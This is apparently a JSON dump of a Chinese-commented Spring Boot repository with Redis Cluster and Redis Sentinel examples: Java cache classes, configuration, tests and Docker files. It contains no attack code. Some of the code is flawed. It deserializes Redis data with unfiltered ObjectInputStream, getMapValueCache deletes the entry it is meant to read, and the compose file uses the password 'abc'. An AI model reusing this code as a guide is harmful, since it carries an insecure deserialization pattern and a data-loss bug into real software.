    "content": "package com.jun.plugin.redis.entity;\n\nimport java.io.Serializable;\n\n/**\n * @Title: User\n * @Package: org.tdcg.entity\n * @Description: 测试类，用户实体\n * @Author: 二东 <zwd_1222@126.com>\n * @date: 2016/10/24\n * @Version: V1.0\n */\npublic class User implements Serializable {\n    private static final long serialVersionUID = 3802423545972880637L;\n    private String id;\n    private String name;\n    private int age;\n    private String email;\n\n    public User() {\n    }\n\n    public User(String id, String name, int age) {\n        this.id = id;\n        this.name = name;\n        this.age = age;\n    }\n\n    public String getId() {\n        return id;\n    }\n\n    public void setId(String id) {\n        this.id = id;\n    }\n\n    public String getName() {\n        return name;\n    }\n\n    public void setName(String name) {\n        this.name = name;\n    }\n\n    public int getAge() {\n        return age;\n    }\n\n    public void setAge(int age) {\n        this.age = age;\n    }\n\n    public String getEmail() {\n        return email;\n    }\n\n    public void setEmail(String email) {\n        this.email = email;\n    }\n\n    @Override\n    public String toString() {\n        return \"User{\" +\n                \"id='\" + id + '\\'' +\n                \", name='\" + name + '\\'' +\n                \", age=\" + age +\n                \", email='\" + email + '\\'' +\n                '}';\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_redis_cluster/src/main/java/com/jun/plugin/redis/redis/ICacheManager.java",
    "content": "package com.jun.plugin.redis.redis;\n\nimport java.io.Serializable;\nimport java.util.List;\nimport java.util.Map;\n\n/**\n * @Title: ICacheManager\n * @Package: org.tdcg.redis\n * @Description: 缓存接口，定义方法\n * @Author: 二东 <zwd_1222@126.com>\n * @date: 2016/10/24\n * @Version: V1.0\n */\npublic interface ICacheManager {\n\n    /**\n     * 根据缓存key获取值\n     *\n     * @param cacheKey\n     * @return\n     */\n    public Object getCache(Serializable cacheKey);\n\n    /**\n     * 设置缓存数据的key-value，并设置失效时间，单位为秒\n     *\n     * @param cacheKey\n     * @param objValue\n     * @param expiration\n     * @return\n     */\n    public boolean putCache(Serializable cacheKey, Object objValue, int expiration);\n\n    /**\n     * 清除缓存\n     *\n     * @param cacheKey\n     */\n    public Long removeCache(Serializable cacheKey);\n\n    /**\n     * 向指定list集合中添加对象，在list尾部添加对象\n     *\n     * @param cacheKey\n     * @param objValue\n     * @return\n     */\n    public boolean putListCache(Serializable cacheKey, Object objValue);\n\n    /**\n     * 向指定list集合中添加对象，并指定位置坐标\n     *\n     * @param cacheKey\n     * @param objValue\n     * @param index\n     * @return\n     */\n    public boolean putListCache(Serializable cacheKey, Object objValue, int index);\n\n    /**\n     * 根据坐标，返回一段集合\n     *\n     * @param cacheKey\n     * @param start    起始坐标 头部为0\n     * @param end      结束坐标 尾部为-1\n     * @return\n     */\n    public List<Object> getListCache(Serializable cacheKey, int start, int end);\n\n    /**\n     * 返回结合\n     *\n     * @param cacheKey\n     * @return\n     */\n    public List<Object> getListCache(Serializable cacheKey);\n\n    /**\n     * 裁剪list集合\n     *\n     * @param cacheKey\n     * @param start    起始坐标\n     * @param end      结束坐标\n     * @return\n     */\n    public boolean trimListCache(Serializable cacheKey, int start, int end);\n\n    /**\n     * 添加map集合\n     *\n     * @param cacheKey\n     * @param map\n     * @return\n     */\n    public boolean putMapCache(Serializable cacheKey, Map<Object, Object> map);\n\n    /**\n     * 删除map中的键值\n     *\n     * @param cacheKey\n     * @param mapKey\n     * @return\n     */\n    public boolean deleteMapCache(Serializable cacheKey, Serializable mapKey);\n\n\n    /**\n     * 获取map中的值\n     *\n     * @param cacheKey\n     * @param mapKey\n     * @return\n     */\n    public Object getMapValueCache(Serializable cacheKey, Serializable mapKey);\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_redis_cluster/src/main/java/com/jun/plugin/redis/redis/JedisClusterFactory.java",
    "content": "package com.jun.plugin.redis.redis;\n\nimport org.apache.commons.pool2.impl.GenericObjectPoolConfig;\nimport org.springframework.beans.factory.FactoryBean;\nimport org.springframework.beans.factory.InitializingBean;\nimport redis.clients.jedis.HostAndPort;\nimport redis.clients.jedis.JedisCluster;\n\nimport java.text.ParseException;\nimport java.util.HashSet;\nimport java.util.Set;\n\n/**\n * @Title: JedisClusterFactory\n * @Package: org.tdcg.redis\n * @Description: 工场类\n * @Author: 二东 <zwd_1222@126.com>\n * @date: 2016/10/24\n * @Version: V1.0\n */\npublic class JedisClusterFactory implements FactoryBean<JedisCluster>, InitializingBean {\n\n\tprivate GenericObjectPoolConfig genericObjectPoolConfig = new GenericObjectPoolConfig();\n\tprivate JedisCluster jedisCluster;\n\tprivate int connectionTimeout = 2000;\n\tprivate int soTimeout = 3000;\n\tprivate int maxRedirections = 5;\n\tprivate Set<String> jedisClusterNodes;\n\n\t@Override\n\tpublic void afterPropertiesSet() throws Exception {\n\t\tif (jedisClusterNodes == null || jedisClusterNodes.size() == 0) {\n\t\t\tthrow new NullPointerException(\"jedisClusterNodes is null.\");\n\t\t}\n\t\tSet<HostAndPort> haps = new HashSet<HostAndPort>();\n\t\tfor (String node : jedisClusterNodes) {\n\t\t\tString[] arr = node.split(\":\");\n\t\t\tif (arr.length != 2) {\n\t\t\t\tthrow new ParseException(\"node address error !\",node.length()-1);\n\t\t\t}\n\t\t\thaps.add(new HostAndPort(arr[0], Integer.valueOf(arr[1])));\n\t\t}\n\t\tjedisCluster = new JedisCluster(haps, connectionTimeout, soTimeout, maxRedirections, genericObjectPoolConfig);\n\t}\n\n\t@Override\n\tpublic JedisCluster getObject() throws Exception {\n\t\treturn jedisCluster;\n\t}\n\n\t@Override\n\tpublic Class<?> getObjectType() {\n\t\treturn (this.jedisCluster != null ? this.jedisCluster.getClass() : JedisCluster.class);\n\t}\n\n\t@Override\n\tpublic boolean isSingleton() {\n\t\treturn true;\n\t}\n\n\tpublic GenericObjectPoolConfig getGenericObjectPoolConfig() {\n\t\treturn genericObjectPoolConfig;\n\t}\n\n\tpublic void setGenericObjectPoolConfig(GenericObjectPoolConfig genericObjectPoolConfig) {\n\t\tthis.genericObjectPoolConfig = genericObjectPoolConfig;\n\t}\n\n\tpublic JedisCluster getJedisCluster() {\n\t\treturn jedisCluster;\n\t}\n\n\tpublic void setJedisCluster(JedisCluster jedisCluster) {\n\t\tthis.jedisCluster = jedisCluster;\n\t}\n\n\tpublic int getConnectionTimeout() {\n\t\treturn connectionTimeout;\n\t}\n\n\tpublic void setConnectionTimeout(int connectionTimeout) {\n\t\tthis.connectionTimeout = connectionTimeout;\n\t}\n\n\tpublic int getSoTimeout() {\n\t\treturn soTimeout;\n\t}\n\n\tpublic void setSoTimeout(int soTimeout) {\n\t\tthis.soTimeout = soTimeout;\n\t}\n\n\tpublic int getMaxRedirections() {\n\t\treturn maxRedirections;\n\t}\n\n\tpublic void setMaxRedirections(int maxRedirections) {\n\t\tthis.maxRedirections = maxRedirections;\n\t}\n\n\tpublic Set<String> getJedisClusterNodes() {\n\t\treturn jedisClusterNodes;\n\t}\n\n\tpublic void setJedisClusterNodes(Set<String> jedisClusterNodes) {\n\t\tthis.jedisClusterNodes = jedisClusterNodes;\n\t}\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_redis_cluster/src/main/java/com/jun/plugin/redis/redis/RedisConfiguration.java",
    "content": "package com.jun.plugin.redis.redis;\n\n\nimport com.google.common.collect.Sets;\nimport org.springframework.beans.factory.annotation.Value;\nimport org.springframework.boot.context.properties.ConfigurationProperties;\nimport org.springframework.cache.annotation.CachingConfigurerSupport;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\n\nimport java.util.Collections;\nimport java.util.Set;\n\n/**\n * @Title: RedisConfiguration\n * @Package: org.tdcg.redis\n * @Description: redis初始化配置\n * @Author: 二东 <zwd_1222@126.com>\n * @date: 2016/10/24\n * @Version: V1.0\n */\n@Configuration\npublic class RedisConfiguration extends CachingConfigurerSupport {\n\n    @Bean(name = \"jedisCluster\")\n    @ConfigurationProperties(prefix = \"myCluster.cluster\")\n    public JedisClusterFactory jedisCluster(\n            @Value(\"${myCluster.cluster.host}\") String host,\n            @Value(\"${myCluster.cluster.connectionTimeout}\") int connectionTimeout,\n            @Value(\"${myCluster.cluster.soTimeout}\") int soTimeout,\n            @Value(\"${myCluster.cluster.maxRedirections}\") int maxRedirections) {\n        JedisClusterFactory jedisClusterFactory = new JedisClusterFactory();\n        jedisClusterFactory.setConnectionTimeout(connectionTimeout);\n        jedisClusterFactory.setSoTimeout(soTimeout);\n        jedisClusterFactory.setMaxRedirections(maxRedirections);\n        String[] split = host.split(\",\");\n        Set<String> hosts = Sets.newHashSet();\n        Collections.addAll(hosts, split);\n        jedisClusterFactory.setJedisClusterNodes(hosts);\n        return jedisClusterFactory;\n    }\n}\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_redis_cluster/src/main/java/com/jun/plugin/redis/redis/impl/CacheManager.java",
    "content": "package com.jun.plugin.redis.redis.impl;\n\nimport org.apache.log4j.Logger;\nimport org.springframework.stereotype.Service;\n\nimport com.jun.plugin.redis.redis.ICacheManager;\n\nimport java.util.List;\nimport java.util.Map;\n\n/**\n * @Title: CacheManager\n * @Package: org.tdcg.redis.impl\n * @Description:\n * @Author: 二东 <zwd_1222@126.com>\n * @date: 2016/10/24\n * @Version: V1.0\n */\n@Service(\"cacheManager\")\npublic final class CacheManager {\n\n    private static final Logger logger = Logger.getLogger(CacheManager.class);\n    // 超时时间，单位为秒\n    private final int expiration = 3600;\n    private ICacheManager iCacheManager;\n\n    public Object getCache(String cacheKey) {\n        return iCacheManager.getCache(cacheKey);\n    }\n\n    public boolean putCache(String cacheKey, Object objValue) {\n        return putCache(cacheKey, objValue, expiration);\n    }\n\n    public boolean putCache(String cacheKey, Object objValue, int expiration) {\n        try {\n            if (expiration <= 0) {\n                expiration = this.expiration;\n            }\n            return iCacheManager.putCache(cacheKey.toString(), objValue, expiration);\n        } catch (Throwable ex) {\n            logger.error(\"Cannot set the cache with the cacheKey:\" + cacheKey.toString(), ex);\n        }\n        return false;\n    }\n\n    public boolean removeCache(String cacheKey) {\n        try {\n            iCacheManager.removeCache(cacheKey);\n            return true;\n        } catch (Throwable ex) {\n            logger.error(\"Cannot remove the cache with the cacheKey:\" + cacheKey.toString(), ex);\n            return false;\n        }\n    }\n\n    /**\n     * 将对象以list集合形式存放\n     *\n     * @param cacheKey\n     * @param objValue\n     * @param objValue\n     * @return\n     */\n    public boolean putListCache(String cacheKey, Object objValue) {\n        try {\n            return iCacheManager.putListCache(cacheKey, objValue);\n        } catch (Throwable ex) {\n            logger.error(\"Cannot put the list cache with the cacheKey:\" + cacheKey.toString(), ex);\n            return false;\n        }\n    }\n\n    /**\n     * 将对象存放在list集合指定index位置\n     *\n     * @param cacheKey\n     * @param objValue\n     * @param index\n     * @return\n     */\n    public boolean putListCache(String cacheKey, Object objValue, int index) {\n        try {\n            return iCacheManager.putListCache(cacheKey, objValue, index);\n        } catch (Throwable ex) {\n            logger.error(\"Cannot put the list cache in the index with the cacheKey:\" + cacheKey.toString(), ex);\n            return false;\n        }\n    }\n\n    /**\n     * 获取list集合全部结果集\n     *\n     * @param cacheKey\n     * @return\n     */\n    public List<Object> getListCache(String cacheKey) {\n        try {\n            return iCacheManager.getListCache(cacheKey);\n        } catch (Throwable ex) {\n            logger.error(\"Cannot get the list cache with the cacheKey:\" + cacheKey.toString(), ex);\n            return null;\n        }\n    }\n\n    /**\n     * 获取指定索引段内的集合\n     *\n     * @param cacheKey\n     * @return\n     */\n    public List<Object> getListCache(String cacheKey, int start, int end) {\n        try {\n            return iCacheManager.getListCache(cacheKey, start, end);\n        } catch (Throwable ex) {\n            logger.error(\"Cannot get the list cache between start and end with the cacheKey:\" + cacheKey.toString(), ex);\n            return null;\n        }\n    }\n\n    /**\n     * 删减list集合指定坐标范围内数据\n     *\n     * @param cacheKey\n     * @param start    起始坐标\n     * @param end      结束坐标\n     * @return\n     */\n    public boolean trimListCache(String cacheKey, int start, int end) {\n        try {\n            return iCacheManager.trimListCache(cacheKey, start, end);\n        } catch (Throwable ex) {\n            logger.error(\"Cannot get the list cache with the cacheKey:\" + cacheKey.toString(), ex);\n            return false;\n        }\n    }\n\n    /**\n     * 存放map集合缓存\n     *\n     * @param cacheKey\n     * @param map\n     * @return\n     */\n    public boolean putMapCache(String cacheKey, Map map) {\n        try {\n            return iCacheManager.putMapCache(cacheKey, map);\n        } catch (Throwable ex) {\n            logger.error(\"Cannot put the map cache with the cacheKey:\" + cacheKey.toString(), ex);\n            return false;\n        }\n    }\n\n    /**\n     * 删除Map集合中指定key-value\n     *\n     * @param cacheKey\n     * @param mapKey\n     * @return\n     */\n    public boolean deleteMapCache(String cacheKey, String mapKey) {\n        try {\n            return iCacheManager.deleteMapCache(cacheKey, mapKey);\n        } catch (Throwable ex) {\n            logger.error(\"Cannot delete the map cache with the cacheKey:\" + cacheKey.toString() + \" and the mapKey:\" + mapKey, ex);\n            return false;\n        }\n    }\n\n    /**\n     * 根据key查询集合中的value值\n     *\n     * @param cacheKey\n     * @param mapKey\n     * @return\n     */\n    public Object getMapValueCache(String cacheKey, String mapKey) {\n        try {\n            return iCacheManager.deleteMapCache(cacheKey, mapKey);\n        } catch (Throwable ex) {\n            logger.error(\"Cannot get the map value cache with the cacheKey:\" + cacheKey.toString() + \" and the mapKey:\" + mapKey, ex);\n            return false;\n        }\n    }\n}\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_redis_cluster/src/main/java/com/jun/plugin/redis/redis/impl/JedisCacheManager.java",
    "content": "package com.jun.plugin.redis.redis.impl;\n\nimport org.apache.commons.lang.StringUtils;\nimport org.springframework.stereotype.Service;\n\nimport com.jun.plugin.redis.redis.ICacheManager;\nimport com.jun.plugin.redis.util.SerializingUtil;\n\nimport redis.clients.jedis.JedisCluster;\n\nimport java.io.Serializable;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Map.Entry;\n\n/**\n * @Title: JedisCacheManager\n * @Package: org.tdcg.redis.impl\n * @Description: 接口实现\n * @Author: 二东 <zwd_1222@126.com>\n * @date: 2016/10/24\n * @Version: V1.0\n */\n@Service(\"iCacheManager\")\npublic class JedisCacheManager implements ICacheManager {\n\n    private static final String JEDIS_SET_RETURN_OK = \"OK\";\n\n    private JedisCluster jedisCluster;\n\n    @Override\n    public Object getCache(Serializable cacheKey) {\n        return SerializingUtil.deserialize((byte[]) jedisCluster.get(SerializingUtil.serialize(cacheKey)));\n    }\n\n    @Override\n    public boolean putCache(Serializable cacheKey, Object objValue, int expiration) {\n        String result = jedisCluster.setex(SerializingUtil.serialize(cacheKey), expiration, SerializingUtil.serialize(objValue));\n        if (StringUtils.equals(JEDIS_SET_RETURN_OK, result)) {\n            return true;\n        }\n        return false;\n    }\n\n    @Override\n    public Long removeCache(Serializable cacheKey) {\n        return jedisCluster.del(SerializingUtil.serialize(cacheKey));\n    }\n\n    @Override\n    public boolean putListCache(Serializable cacheKey, Object objValue) {\n        Long num = jedisCluster.rpush(SerializingUtil.serialize(cacheKey), SerializingUtil.serialize(objValue));\n        if (num > 0) {\n            return true;\n        }\n        return false;\n    }\n\n    @Override\n    public boolean putListCache(Serializable cacheKey, Object objValue, int index) {\n        String result = jedisCluster.lset(SerializingUtil.serialize(cacheKey), index, SerializingUtil.serialize(objValue));\n        if (StringUtils.equals(JEDIS_SET_RETURN_OK, result)) {\n            return true;\n        }\n        return false;\n    }\n\n    @Override\n    public List<Object> getListCache(Serializable cacheKey, int start, int end) {\n        List<byte[]> list = jedisCluster.lrange(SerializingUtil.serialize(cacheKey), start, end);\n        if (null != list && list.size() > 0) {\n            List<Object> objList = new ArrayList<Object>();\n            for (byte[] b : list) {\n                objList.add(SerializingUtil.deserialize(b));\n            }\n            return objList;\n        }\n        return null;\n    }\n\n    @Override\n    public List<Object> getListCache(Serializable cacheKey) {\n        return getListCache(cacheKey, 0, -1);\n    }\n\n    @Override\n    public boolean trimListCache(Serializable cacheKey, int start, int end) {\n        String result = jedisCluster.ltrim(SerializingUtil.serialize(cacheKey), start, end);\n        if (StringUtils.equals(JEDIS_SET_RETURN_OK, result)) {\n            return true;\n        }\n        return false;\n    }\n\n    @Override\n    public boolean putMapCache(Serializable cacheKey, Map<Object, Object> map) {\n        if (null != map && !map.isEmpty()) {\n            Map<byte[], byte[]> byteMap = new HashMap<byte[], byte[]>();\n            for (Entry<Object, Object> entry : map.entrySet()) {\n                byteMap.put(SerializingUtil.serialize(entry.getKey()), SerializingUtil.serialize(entry.getValue()));\n            }\n            String result = jedisCluster.hmset(SerializingUtil.serialize(cacheKey), byteMap);\n            if (StringUtils.equals(JEDIS_SET_RETURN_OK, result)) {\n                return true;\n            }\n            return true;\n        }\n        return false;\n    }\n\n    @Override\n    public boolean deleteMapCache(Serializable cacheKey, Serializable mapKey) {\n        Long result = jedisCluster.hdel(SerializingUtil.serialize(cacheKey), SerializingUtil.serialize(mapKey));\n        if (result > 0) {\n            return true;\n        }\n        return false;\n    }\n\n\n    @Override\n    public Object getMapValueCache(Serializable cacheKey, Serializable mapKey) {\n        List<byte[]> list = jedisCluster.hmget(SerializingUtil.serialize(cacheKey), SerializingUtil.serialize(mapKey));\n        if (null != list && list.size() > 0) {\n            return SerializingUtil.deserialize(list.get(0));\n        }\n        return null;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_redis_cluster/src/main/java/com/jun/plugin/redis/util/SerializingUtil.java",
    "content": "package com.jun.plugin.redis.util;\n\nimport org.apache.log4j.Logger;\nimport org.springframework.cache.CacheManager;\n\nimport java.io.*;\n\n/**\n * @Title: SerializingUtil\n * @Package: org.tdcg.util\n * @Description: 序列化工具类，负责byte[]和Object之间的相互转换.\n * @Author: 二东 <zwd_1222@126.com>\n * @date: 2016/10/24\n * @Version: V1.0\n */\npublic class SerializingUtil {\n\n    private static final Logger logger = Logger.getLogger(CacheManager.class);\n\n    /**\n     * 功能简述: 对实体Bean进行序列化操作.\n     *\n     * @param source 待转换的实体\n     * @return 转换之后的字节数组\n     * @throws Exception\n     */\n    public static byte[] serialize(Object source) {\n        ByteArrayOutputStream byteOut = null;\n        ObjectOutputStream ObjOut = null;\n        try {\n            byteOut = new ByteArrayOutputStream();\n            ObjOut = new ObjectOutputStream(byteOut);\n            ObjOut.writeObject(source);\n            ObjOut.flush();\n        } catch (IOException e) {\n            logger.error(source.getClass().getName() + \" serialized error !\", e);\n        } finally {\n            try {\n                if (null != ObjOut) {\n                    ObjOut.close();\n                }\n            } catch (IOException e) {\n                ObjOut = null;\n            }\n        }\n        return byteOut.toByteArray();\n    }\n\n    /**\n     * 功能简述: 将字节数组反序列化为实体Bean.\n     *\n     * @param source 需要进行反序列化的字节数组\n     * @return 反序列化后的实体Bean\n     * @throws Exception\n     */\n    public static Object deserialize(byte[] source) {\n        ObjectInputStream ObjIn = null;\n        Object retVal = null;\n        try {\n            ByteArrayInputStream byteIn = new ByteArrayInputStream(source);\n            ObjIn = new ObjectInputStream(byteIn);\n            retVal = ObjIn.readObject();\n        } catch (Exception e) {\n            logger.error(\"deserialized error  !\", e);\n        } finally {\n            try {\n                if (null != ObjIn) {\n                    ObjIn.close();\n                }\n            } catch (IOException e) {\n                ObjIn = null;\n            }\n        }\n        return retVal;\n    }\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_redis_cluster/src/main/resources/application.yml",
    "content": "# server\nserver:\n    port: 8081\n\n# LOG\nlogging:\n    config: classpath:logback.xml\n\n# RedisCluster\nmyCluster:\n    cluster:\n        host: 10.16.70.133:6379,10.16.70.133:6380,10.16.70.133:6381,10.16.70.134:7379,10.16.70.134:7380,10.16.70.134:7381\n        connectionTimeout: 3000\n        soTimeout: 3000\n        maxRedirections: 5"
  },
  {
    "path": "jun_springboot_plugin/springboot_redis_cluster/src/main/resources/logback.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<configuration>\n    <timestamp key=\"date\" datePattern=\"yyyyMMdd\"/>\n    <!-- Output to Console -->\n    <appender name=\"Console\" class=\"ch.qos.logback.core.ConsoleAppender\">\n        <encoder>\n            <pattern>%d{yyyy-MM-dd HH:mm:ss} %level %c:%L - %msg%n</pattern>\n            <charset>UTF-8</charset>\n        </encoder>\n    </appender>\n    <!-- Output to File -->\n    <appender name=\"File\" class=\"ch.qos.logback.core.rolling.RollingFileAppender\">\n        <File>/home/logs/springboot-jedisCluster.log</File>\n        <rollingPolicy class=\"ch.qos.logback.core.rolling.TimeBasedRollingPolicy\">\n            <FileNamePattern>\n                /home/logs/springboot-jedisCluster.%d{yyyy-MM-dd}.log\n            </FileNamePattern>\n            <!-- keep 1 days worth of history -->\n            <MaxHistory>10</MaxHistory>\n        </rollingPolicy>\n        <encoder>\n            <pattern>%d{yyyy-MM-dd HH:mm:ss} %level %c:%L - %msg%n</pattern>\n            <charset>UTF-8</charset>\n        </encoder>\n    </appender>\n    <!-- 打印级别，大小写无关：TRACE, DEBUG, INFO, WARN, ERROR, ALL 和  OFF 默认是DEBUG -->\n    <root level=\"ERROR\">\n        <appender-ref ref=\"Console\"/>\n        <appender-ref ref=\"File\"/>\n    </root>\n    <logger name=\"org.springframework\" level=\"ERROR\"/>\n    <logger name=\"com.jun.plugin.redis\" level=\"DEBUG\"/>\n\n</configuration>"
  },
  {
    "path": "jun_springboot_plugin/springboot_redis_cluster/src/test/java/com/jun/plugin/redis/impl/JedisCacheManagerTest.java",
    "content": "package com.jun.plugin.redis.impl;\n\nimport com.google.common.collect.Maps;\nimport com.jun.plugin.redis.Application;\nimport com.jun.plugin.redis.entity.User;\nimport com.jun.plugin.redis.redis.impl.JedisCacheManager;\n\nimport org.junit.After;\nimport org.junit.Before;\nimport org.junit.FixMethodOrder;\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.junit.runners.MethodSorters;\nimport org.junit.runners.Suite;\nimport org.springframework.boot.test.SpringApplicationConfiguration;\nimport org.springframework.test.context.junit4.SpringJUnit4ClassRunner;\n\nimport javax.annotation.Resource;\n\nimport java.util.List;\nimport java.util.Map;\n\n\n/**\n * @Title: JedisCacheManagerTest\n * @Description: 测试类，测试方法有顺序要求\n * 添加@FixMethodOrder(MethodSorters.NAME_ASCENDING) 以使执行方法按名称顺序执行\n * @Version: V1.0\n */\n@RunWith(SpringJUnit4ClassRunner.class)\n@SpringApplicationConfiguration(classes = Application.class)\n@FixMethodOrder(MethodSorters.NAME_ASCENDING)\npublic class JedisCacheManagerTest {\n\n    private final int expiration = 3600;\n\n    @Resource\n    private JedisCacheManager jedisCacheManager;\n\n    @Test()\n    public void testAPutCache() throws Exception {\n        boolean test = jedisCacheManager.putCache(\"test\", \"welocme redis cluster! created by tdcg!\", expiration);\n        assert(test);\n    }\n\n    @Test\n    public void testBGetCache() throws Exception {\n        Object test = jedisCacheManager.getCache(\"test\");\n        System.out.println(test);\n        assert(test.equals(\"welocme redis cluster! created by tdcg!\"));\n    }\n\n\n    @Test\n    public void testCRemoveCache() throws Exception {\n        Long test = jedisCacheManager.removeCache(\"test\");\n        assert(test == 1L);\n    }\n\n    @Test\n    public void testDPutListCache() throws Exception {\n        User user = new User(\"1\",\"zhangsan\",15);\n        boolean userList = jedisCacheManager.putListCache(\"userList\", user);\n        assert(userList);\n    }\n\n    @Test\n    public void testEPutListCache1() throws Exception {\n        User user = new User(\"2\",\"lisi\",18);\n        boolean userList = jedisCacheManager.putListCache(\"userList\", user, 0);\n        assert(userList);\n    }\n\n    @Test\n    public void testFGetListCache() throws Exception {\n        List<Object> userList = jedisCacheManager.getListCache(\"userList\");\n        User u = (User)userList.get(0);\n        assert (u.getId().equals(\"2\"));\n    }\n\n    @Test\n    public void testGGetListCache1() throws Exception {\n        List<Object> userList = jedisCacheManager.getListCache(\"userList\", 0, 2);\n        User u = (User)userList.get(0);\n        assert (u.getId().equals(\"2\"));\n    }\n\n    @Test\n    public void testHTrimListCache() throws Exception {\n        boolean userList = jedisCacheManager.trimListCache(\"userList\", 0, 2);\n        assert(userList);\n    }\n\n    @Test\n    public void testIPutMapCache() throws Exception {\n        Map<Object, Object> map = Maps.newHashMap();\n        map.put(\"1\",new User(\"1\",\"zhangsan\",15));\n        map.put(\"2\",new User(\"2\",\"lisi\",20));\n        boolean userMap = jedisCacheManager.putMapCache(\"userMap\", map);\n        assert (userMap);\n    }\n\n    @Test\n    public void testJGetMapValueCache() throws Exception {\n        User user = (User)jedisCacheManager.getMapValueCache(\"userMap\", \"2\");\n        String id = user.getId();\n        assert (id.equals(\"2\"));\n    }\n\n    @Test\n    public void testKDeleteMapCache() throws Exception {\n        boolean userMap = jedisCacheManager.deleteMapCache(\"userMap\", \"1\");\n        assert (userMap);\n    }\n\n    @Test\n    public void testL(){\n        Long userMap = jedisCacheManager.removeCache(\"userMap\");\n        assert(userMap == 1L);\n        Long userList = jedisCacheManager.removeCache(\"userList\");\n        assert(userList == 1L);\n    }\n\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_redis_sentinel/Dockerfile",
    "content": "FROM openjdk:8-jre-alpine\n\nARG JAR_FILE\n\nCOPY target/${JAR_FILE} /app.jar\n\nENTRYPOINT [\"java\", \"-jar\", \"/app.jar\"]\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_redis_sentinel/README.md",
    "content": "# spring-boot-redis-sentinel-example\n\n对应文章：https://chanjarster.github.io/post/redis-sentinel-spring-boot-example/"
  },
  {
    "path": "jun_springboot_plugin/springboot_redis_sentinel/docker/docker-compose.yml",
    "content": "version: \"3.7\"\n\nservices:\n\n  redis-master:\n    image: bitnami/redis:4.0\n    networks:\n      - my-net\n    environment:\n      REDIS_REPLICATION_MODE: master\n      REDIS_PASSWORD: abc\n    ports:\n      - \"5000:6379\"\n\n  redis-slave:\n    image: bitnami/redis:4.0\n    networks:\n      - my-net\n    environment:\n      REDIS_REPLICATION_MODE: slave\n      REDIS_MASTER_HOST: redis-master\n      REDIS_MASTER_PASSWORD: abc\n      REDIS_PASSWORD: abc\n    ports:\n      - \"5001:6379\"\n\n  redis-sentinel:\n    image: bitnami/redis-sentinel:4.0\n    networks:\n      - my-net\n    environment:\n      REDIS_MASTER_HOST: redis-master\n      REDIS_MASTER_PASSWORD: abc\n      REDIS_MASTER_SET: springboot\n      REDIS_SENTINEL_QUORUM: 1\n    ports:\n      - \"26379:26379\"\n\n  spring-boot:\n    image: chanjarster/spring-boot-redis-sentinel-example:0.1\n    networks:\n      - my-net\n\nnetworks:\n  my-net:\n    driver: overlay\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_redis_sentinel/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.springframework.boot</groupId>\n    <artifactId>spring-boot-starter-parent</artifactId>\n    <version>2.1.4.RELEASE</version>\n    <relativePath></relativePath>\n  </parent>\n\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>springboot_redis_sentinel</artifactId>\n\t<version>1.0</version>\n\t<packaging>jar</packaging>\n\t\n\n  <dependencies>\n    <dependency>\n      <groupId>org.springframework.boot</groupId>\n      <artifactId>spring-boot-starter-data-redis-reactive</artifactId>\n    </dependency>\n  </dependencies>\n\n  <properties>\n    <java.version>1.8</java.version>\n    <dockerfile-maven-plugin.version>1.4.8</dockerfile-maven-plugin.version>\n    <maven.compiler.source>${java.version}</maven.compiler.source>\n    <maven.compiler.target>${java.version}</maven.compiler.target>\n  </properties>\n\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-maven-plugin</artifactId>\n      </plugin>\n\n     <!-- <plugin>\n        <groupId>com.spotify</groupId>\n        <artifactId>dockerfile-maven-plugin</artifactId>\n        <version>${dockerfile-maven-plugin.version}</version>\n        <configuration>\n          <repository>chanjarster/${project.artifactId}</repository>\n          <tag>${project.version}</tag>\n          <useMavenSettingsForAuth>true</useMavenSettingsForAuth>\n          <buildArgs>\n            <JAR_FILE>${project.build.finalName}.${project.packaging}</JAR_FILE>\n            <VERSION>${project.version}</VERSION>\n            <NAME>${project.artifactId}</NAME>\n          </buildArgs>\n        </configuration>\n      </plugin>-->\n\n    </plugins>\n  </build>\n\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_redis_sentinel/src/main/java/hello/Application.java",
    "content": "package hello;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\nimport org.springframework.context.ConfigurableApplicationContext;\nimport org.springframework.data.redis.core.ReactiveRedisOperations;\n\nimport java.util.concurrent.TimeUnit;\n\n@SpringBootApplication\npublic class Application {\n\n  private static final Logger LOGGER = LoggerFactory.getLogger(Application.class);\n\n  @Autowired\n  private ReactiveRedisOperations<String, String> redisOperations;\n\n  public static void main(String[] args) throws InterruptedException {\n    ConfigurableApplicationContext context = SpringApplication.run(Application.class, args);\n    Application bean = context.getBean(Application.class);\n    bean.run();\n\n  }\n\n  private void run() throws InterruptedException {\n    while (true) {\n      TimeUnit.SECONDS.sleep(3);\n      redisOperations.opsForValue()\n        .increment(\"foo\")\n        .subscribe(num -> LOGGER.info(\"INCR foo: \" + num));\n    }\n  }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_redis_sentinel/src/main/java/hello/RedisConfiguration.java",
